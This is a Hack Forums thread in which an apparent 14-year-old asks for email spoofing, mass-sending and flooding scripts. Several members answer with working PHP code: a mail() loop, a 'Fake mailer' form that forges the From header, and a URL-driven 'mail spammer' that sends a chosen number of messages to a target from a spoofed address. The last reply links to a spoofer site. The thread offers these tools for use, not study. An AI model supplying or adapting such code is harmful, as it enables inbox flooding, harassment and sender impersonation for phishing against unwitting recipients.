

Forum:[Hack Forums](#)

Thread: [Need an email spoofer/email mass sender/email flooder source](#)

Text - December 4, 2012, 1:09 am

Hello! I am in desperate need of these 3 scripts. If you have any 1 of these 3 scripts, can I please get them? Thanks in advance. :)

epicrider - December 4, 2012, 1:52 am

I have an e-mail spoof/flood source, how do you want it? Standard PHP UI or API?

SIM-1419016 - December 4, 2012, 1:57 am

PHP Code

```
<?php
$email = "EMAIL HERE";
$amount = "AMOUNT TO SEND HERE";
$subject = "SUBJECT HERE";
$body = "BODY HERE";

for ($k;$amount > $k; $k++) {
    mail($email, $subject, $body, $headers);
}
```

?>

A small little script I just made.

Text - December 4, 2012, 2:53 am

I am a major noob at PHP, so can you tell me how it works please? Like, how could I implement it into a site for people to use, like emkei.cz (or whatever the site is). Also, what is an API (a simple term for dummies). I hope you guys don't mind helping me out. I am also looking into doing a PHP course at Tafe. Should I?

Sorry for sounding like a complete idiot, I just want to start coding. Please note that I am only 14. :P

SIM-1419016 - December 4, 2012, 3:34 am

(Dec 4, 2012 03:53 AM)Text Wrote: [CITE](#) I am a major noob at PHP, so can you tell me how it works please? Like, how could I implement it into a site for people to use, like emkei.cz (or whatever the site is). Also, what is an API (a simple term for dummies). I hope you guys don't mind helping me out. I am also looking into doing a PHP course at Tafe. Should I?

Sorry for sounding like a complete idiot, I just want to start coding. Please note that I am only 14. :P Make a form. Add message, email, amount, and subject textboxes. Add a submit button. When the submit button is pressed, make the vars save to the inputted data. So instead of "EMAIL HERE" you would do "\$email = \$_POST['email'];" and so on.

twitter4u - December 4, 2012, 3:38 am

Code <?php

```
$to = $_POST['to'];
$from = $_POST['ot'];
$subject = $_POST['tema'];
$message = $_POST['message'];
```

```
$headers .= "From: ".$from;
```

```
$headers = "Content-type: text/plain; charset=windows-1251 \r\n";
```

```
$headers .= "From: ".$from;
```

```
mail($to, $subject, $message, $headers);
```

```
?>
```

```
<script> // some js for correction check
```

```
function check(obj){
```

```
var return_value = true;
```

```
var emailot = obj.ot.value; // from who
```

```
var emailto = obj.to.value; // to ?
```

```
var tema = obj.tema.value; // subj
```

```
var msg = obj.message.value; // message textarea
```

```
var err = "Input data is not correct, check it ";
```

```
if(emailot == ""){
```

```
err += " Email from ";
```

```
return_value = false;
```

```
}
```

```
if(emailto == ""){
```

```
err += "Email to ";
```

```
return_value = false;
```

```
}
```

```
if(tema == ""){
```

```
err += " Subject ";
```

```
return_value = false;
```

```
}
```

```
if(msg == ""){
```

```
err += "Text Data";
```

```
return_value = false;
```

```
}
```

```
//check all , if find some err, alert
```

```
if(!return_value)
```

```
alert(err);
```

```
return return_value;
```

```
}
```

```
</script>
```

```
<html>
```

```
<head><title>Fake mailer</title>
```

```
</head>
```

```
<body>
```

```
<form action="" method="post" onsubmit="return check(this);">
```

```
<table cellpadding="3" cellspacing="3" border="0" align="center">
```

```
<tr align="left">
```

```
<td>Email from:</td><td><input name="ot"></td><tr>
```

```
<tr align="left"><td>Email to:</td><td><input name="to"></td></tr>
```

```
<tr align="left"><td>Subj:</td><td><input name="tema"></td></tr>
```

```
<tr align="left"><td colspan="2"><textarea rows="15" cols="32" name="message">your message  
here</textarea></td></tr>
```

```
<th align="center"><button>Send</button></th>
```

```
</table>
```

```
</form>
```

```
</body>
```

```
<style type="text/css">
```

```
body{
```

```
background-color:#22;
```

```
color:#C1C1C1;
```

```
font-family:Verdana;
```

```
}
```

```
a{
```

```
color:#B9B9BD;
```

```
text-decoration:none;
```

```
font-size:12px;
```

```
}
```

```
#kap{
```

```
font-size:30px;
```

```
}
```

```
b{
```

```
font-color:#D1EEEE;
```

```
}
```

```
button{
```

```
border:1px solid #22;
```

```
background-color:#363636;
```

```
font-size:19px;
```

```
}
```

```
    button:hover{
```

```
border:1px solid #BCD2EE;
```

```
}
```

```
h1{
```

```
text-align:center;
```

```
}
```

```
input,textarea{
```

```
border:1px solid #22;
```

```
background-color:#363636;
```

```
font-size:15px;
```

```
}
```

```
    input:hover{
```

```
border:1px solid #BCD2EE;
```

```
}
```

```
textarea:hove
```

```
{
```

```
border:1px solid #BCD2EE;
}
```

```
table{
border-color:#E6E6FA;
}
</style> hope this help ?
```

Text - December 5, 2012, 1:33 am

I am still looking for these. Does anyone else have? Thanks.

epicrider - December 5, 2012, 3:08 am

Here's a simple API mail spammer I built. Uses the default PHP mail library, so you should hit around 80 e-mails per second, all dependent on your web servers CPU.

Example Usage:

file.php?&target=EMAIL&from=GUESS@WHO.COM&subject=SUBJECT&message=MESSAGE&amount=1

Code <?php

```
if(isset($_GET['target'])){
    $to = $_GET['target'];
}
if(isset($_GET['subject'])){
    $subject = $_GET['subject'];
}
if(isset($_GET['message'])){
    $message = $_GET['message'];
}
if(isset($_GET['amount'])){
    $amount = (int) $_GET['amount'];
}
if(isset($_GET['from'])){
    $from = $_GET['from'];
}
```

```
$from = "From: " . $from . "\r\n";
if ((int)$amount) {
for($i=1;$i<=$amount;$i++)
{
    $temps_debut = microtime(true);
    mail($to, $subject, $message, $from);
    $temps_fin = microtime(true);
    echo '<font color="white">Sent '.$i.' messages: '.round($temps_fin - $temps_debut, 4).'
seconds.<br>';
}
} else {
}
?>
```

I will add spoofing if requested.

EDIT: Added spoofing, attach the &from= variable to the URL.

badbrains - December 5, 2012, 3:33 am

I recommend using the PHPMailer class > the default mail library, as it gives you much more control over what you're doing ?

epicrider - December 5, 2012, 4:59 am

(Dec 5, 2012 04:34 AM)PeopleUnderTheStairs Wrote: [\[CITE\]](#) I recommend using the PHPMailer class > the default mail library, as it gives you much more control over what you're doing ?mm, but this does the job. I only use the PHPMailer class when i'm using more complex systems.

al5ina5 - December 9, 2012, 1:14 pm

I've made an email spoofer if you need it.

Link: <http://al5ina5.com/tools/spoof/spoofer.php>

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